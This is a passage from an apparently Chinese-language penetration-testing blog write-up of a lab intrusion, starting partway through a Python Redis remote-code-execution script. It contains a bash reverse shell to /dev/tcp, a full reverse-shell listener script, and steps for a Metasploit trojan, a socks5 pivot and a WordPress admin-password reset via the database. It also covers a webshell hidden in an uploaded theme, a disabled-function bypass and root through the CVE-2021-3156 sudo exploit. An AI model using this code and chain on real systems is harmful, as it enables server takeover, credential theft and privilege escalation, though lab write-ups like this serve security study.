print(f"--- Listen on {report}---")
re_shell(port=report,payload="".join(_redis_format(*line) for line in payload).encode())
finish = True
exit()

if not interactive:
payload = [
["auth", f'{authPass}'] if authPass else [],
["system.exec", f'{command}']
]
print(f"--- Command {command} ---")
messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
_wait_for()
while True:
try:
pass
except KeyboardInterrupt:
print()
print("--- exit ---")
break

else:
try:
while interactive:
command = input("command:> ")
if command == "exit" or command == "quit":
break
payload = [
["auth", f'{authPass}'] if authPass else [],
["system.exec", f'{command}']
]
print(f"--- Command {command} ---")
messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
_wait_for()
except KeyboardInterrupt:
print()
print("--- exit ---")
except Exception as e:
print(f"--- Error: {e} ---")

finish = True

if __name__ == '__main__':

"""
@ host 目标地址
@ masterHost 主机地址
@ autPass redis认证密码
@ expFileName 写入的so文件名称
@ command 执行一次的命令(仅交互模式=False,reshell={}时有用)
@ interactive 是否启动伪交互式shell
@ reshell 伪交互式反弹shell(若不为{}则使用,仅支持Linux)

"""

redis_shell(
host = "192.168.111.142:6379",
masterHost = "192.168.111.133:2020",
authPass = "123456",
expFileName = "mor.so" ,
command = "",
interactive = True,
reshell = {
"command":"bash -c 'bash -i >& /dev/tcp/192.168.111.133/3349 0>&1'",
"report":3349
}
)

行吧,话不多说,这里就直接弹一个 伪完整交互shell 了。

image-20210314215956063

此时此刻,就拿到了shell了。

- 横向移动 & 权限提升 -

虽然说现在确实是得到了一个shell,但 redis 用户的权限实在是太低了,低到就算是在 /tmp 目录搞事都不太行的。比如这里简单演示一下在 /tmp 目录搞点花样:

image-20210314221218340

几乎啥事也干不了,那再看真正的上帝视角,在 /tmp 是有很多文件的:

image-20210314221257391

不过 redis 也是可以写文件的,不过只能是在自己的 家目录 咯,这里直接 cat /etc/passwd

image-20210314221408691

然后写几个文件:

image-20210314221524793

但这实在是非常的鸡肋,基本没用啊。因为这个目录是只有 redis 用户自己可以进去读文件的,也就是自己写给自己看,没法进一步利用。

image-20210314221641944

不过,既然能够写文件,那也就可以写 msf木马 啦。

- msf 获取 metershell -

这里生成一个简单的 msf木马 ,然后开一下 http服务器 以便从靶机拉取 msf木马

img

然而,并没有成功:

image-20210314222326820

emmm,或者试一下 正向shell 看看。当然除了用 pythonphp 也是可以简单起一个 http服务器 的。

image-20210314222606428

然后试试攻击:

image-20210314222702900

显然,这里是炸了,并没有成功。

不过实际上 靶机 是存在 python 环境的,可以用 pythonmeterpretershell 尝试一下。

image-20210314223128708

emmm,这里是成功拿到了 meterpretershell 了。可以尝试搜寻 提权建议 试试。

image-20210315103436728

看起来是不太行了,那么可是尝试 横向移动

- 开启代理 -

首先,可以简单看一下 靶机 当前的内网情况,显然有一个 172.16.243.0/24 段。

image-20210315104645353

那么开启一个简单的 socks5 吧。先设置一个自动路由:

image-20210315104750901

之后直接开启 socks5 代理:

image-20210315104849756

此时,就可以使用 代理链 或者其他代理方式进行操作了。比如这里使用最简单的 firefox 浏览器使用该代理去访问。先简单的用 FoxyProxy 插件去设置一下代理:

image-20210315105039705

那么可以简单验证一下该代理是否已经被开启了,比如尝试访问一下 靶机 的另一个IP 172.16.243.220

image-20210315110003844

那么不妨再简单的看如何从 redis 用户逃逸出来,比如想办法拿一个 webshell 即把用户从 redis 逃逸成 www-data 用户了。

- 获取 webshell -

首先,看一下网络目录,为 /var/www/web

image-20210315110247188

但是咱们显然是没有直接的写权限的:

image-20210315110343724

虽然没有写权限,但有读权限,并且可以看到是存在一个 wordpress 的玩意,不如去读一下配置。

image-20210315110519984

从这里可以看到是存在一个本地的 mysql 服务器,只是没有对外开放而已,并且还得到了 登录用户登录密码 。那么不如可以去修改 wordpress 后台管理员用户密码然后从 wordpress 的后台 getshell 。 先尝试登录一下 mysql ,这里是成功从本地登录上了:

image-20210315110755901

然后可以看一下后台管理员的用户和密码:

image-20210315110906372

显然,管理员的用户名是 morouu 了,只是这个密码的 hash 用的是 wordpress 自己的加密方式加密的,简单说来即是 md5(salt + 密码明文) 很多次再使用变种的 base64 存储。其中 $P 为前缀,不需要看,而从 后一个 $ 开始,前 8 位为 salt ,后 22 位为 密码hash 经过变种 base64 编码后得到的值。由于是 md5(salt + 密码明文) 很多次,不太可能破解出来了。

不过实际上 wordpress 为了能够方便当用户忘记密码时能够找回密码,是允许用户将 md5(密码明文) 覆盖回原来的 密码hash 登录的。当用上述方式登录后,md5(密码明文) 就会被 wordpress 处理变为使用 wordpress 的加密方式的 密码hash 了。这虽说看起来有点不太安全,当然也是理想情况下吧,毕竟攻击者能有数据库操作权限确实是几乎不可能的了。

那么这里既然拥有了数据库操作权限,那就可以利用这个方式去重置后台管理员密码了。首先简单生成一个 md5 值作为登录密码:

image-20210315112121140

然后从数据库去 update 一下管理员用户:

image-20210315112259992

然后尝试从代理页面去登录:

image-20210315112410708

OK,成功登上去了:

image-20210315112443442

至于 wordpress 的后台 getshell 实际上是非常简单的,比如说可以从官网上下一个 wordpress 的主题文件,然后把 [一句话] 文件给放进去:

image-20210315112605440

再到 wordpress 后台的主题添加页面,将刚刚处理好的主题给上传了:

image-20210315113125728

img

当出现以下页面时,说明主题安装成功:

image-20210315113258127

此时只需要访问 http://172.16.243.220/wordpress/wp-content/themes/[主题名称]/dm.php 就能访问到刚刚的 [一句话] 了:

image-20210315113400184

只是从 phpinfo 里面可以看出,系统函数都给 ban 了:

img

遇事不决,直接上 甜甜圈 好了,直接 python3 -m pip install doughnuts && python3 -m doughnuts.install [命令名] ,比如我这里为:

image-20210315113715075

然后输入 dh 即可开启。

image-20210315113749519

那么直接命令操作吧,先挂代理,然后连接 [一句话]

image-20210315114417581

这里确实是没有可以执行的系统函数了,那么尝试将其给 bypass 试试:

image-20210315114512863

显然是成功了!那么可以使用 伪完整交互式shell 接收脚本去接收一个反弹shell吧,这里先上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from socket import error, socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR
from termios import tcgetattr, tcsetattr, TCSADRAIN
from sys import stdin, stdout, version_info, argv
from tty import setraw
from os import path, system, _exit

# import thread, deal with byte
if (version_info.major == 2):
def get_byte( s, encoding = "UTF-8" ):
return str(bytearray(s, encoding))


STDOUT = stdout
import thread
else:
def get_byte( s, encoding = "UTF-8" ):
return bytes(s, encoding = encoding)


STDOUT = stdout.buffer
import _thread as thread

FD = None
OLD_SETTINGS = None


class _GetchUnix:
def __call__( self ):
global FD, OLD_SETTINGS
FD = stdin.fileno( )
OLD_SETTINGS = tcgetattr(FD)
try:
setraw(stdin.fileno( ))
ch = stdin.read(1)
finally:
tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
return ch


getch = _GetchUnix( )

CONN_ONLINE = 1


def stdprint( message ):
stdout.write(message)
stdout.flush( )


def close_socket( talk, exit_code = 0 ):
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close( )
try:
tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
system("reset")
_exit(exit_code)


def recv_daemon( conn ):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush( )
else:
raise error
except error:
msg = "Connection close by socket.\n"
stdprint(msg)
close_socket(conn, 1)


def main( port ):
conn = socket(AF_INET, SOCK_STREAM)
conn.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
try:
talk, addr = conn.accept( )
stdprint("Connect from %s.\n" % addr[ 0 ])
thread.start_new_thread(recv_daemon, (talk,))
talk.send(get_byte("""python -c 'import pty; pty.spawn("/bin/bash")'\n""", encoding = 'utf-8'))
talk.send(get_byte("""clear\n""", encoding = 'utf-8'))
while CONN_ONLINE:
c = getch( )
if c:
try:
talk.send(get_byte(c, encoding = 'utf-8'))
except error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)


if __name__ == "__main__":
if (len(argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(argv[ 0 ]))
exit(2)
main(int(argv[ 1 ]))

这里先运行脚本进行监听,然后使用 甜甜圈 弹个shell:
image-20210315114846324

OK,这里是成功了,不妨 ls /tmp 试试:

image-20210315114938968

成功逃逸了,那么下一步即可以是提权了。

- CVE权限提升 -

先看一下当前 靶机 的信息吧:

image-20210315115122264

这是一个 ubuntu19 的系统,此时可以想到 CVE2021-3156sudo权限提升漏洞 。可以检查以下 sudo 的版本:

image-20210315115628741

显然是可以的了,那么就利用一下 exp 直接提权吧 exp地址 ,将其下载打包成 .zip 后直接开服务器 wget 啥的或者用 甜甜圈 上传都行:

image-20210315120204170

但是这里出现了一个小问题,似乎是找不到 cc1 这个玩意:

image-20210315120246554

直接用 find 先把 cc1 给找到了,

image-20210315120330155

然后加到环境变量里边即可,

image-20210315120418037

之后直接运行 ./sudo-hax-me-a-sandwich 0 就能得到 root 权限了:

image-20210315120500120

此时可以用该权限去运行上边生成的 msf木马

image-20210315120730897

那么就拿下了 ubuntu19 ,emmm还有个小彩蛋。


- 总结 -

咋说呢,说起来 redis 外网泄露确实是很不安全的,这可不能够忽视啊。同时关于对 redis 用户逃逸,确实是还蛮巧妙的,哈哈哈。


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !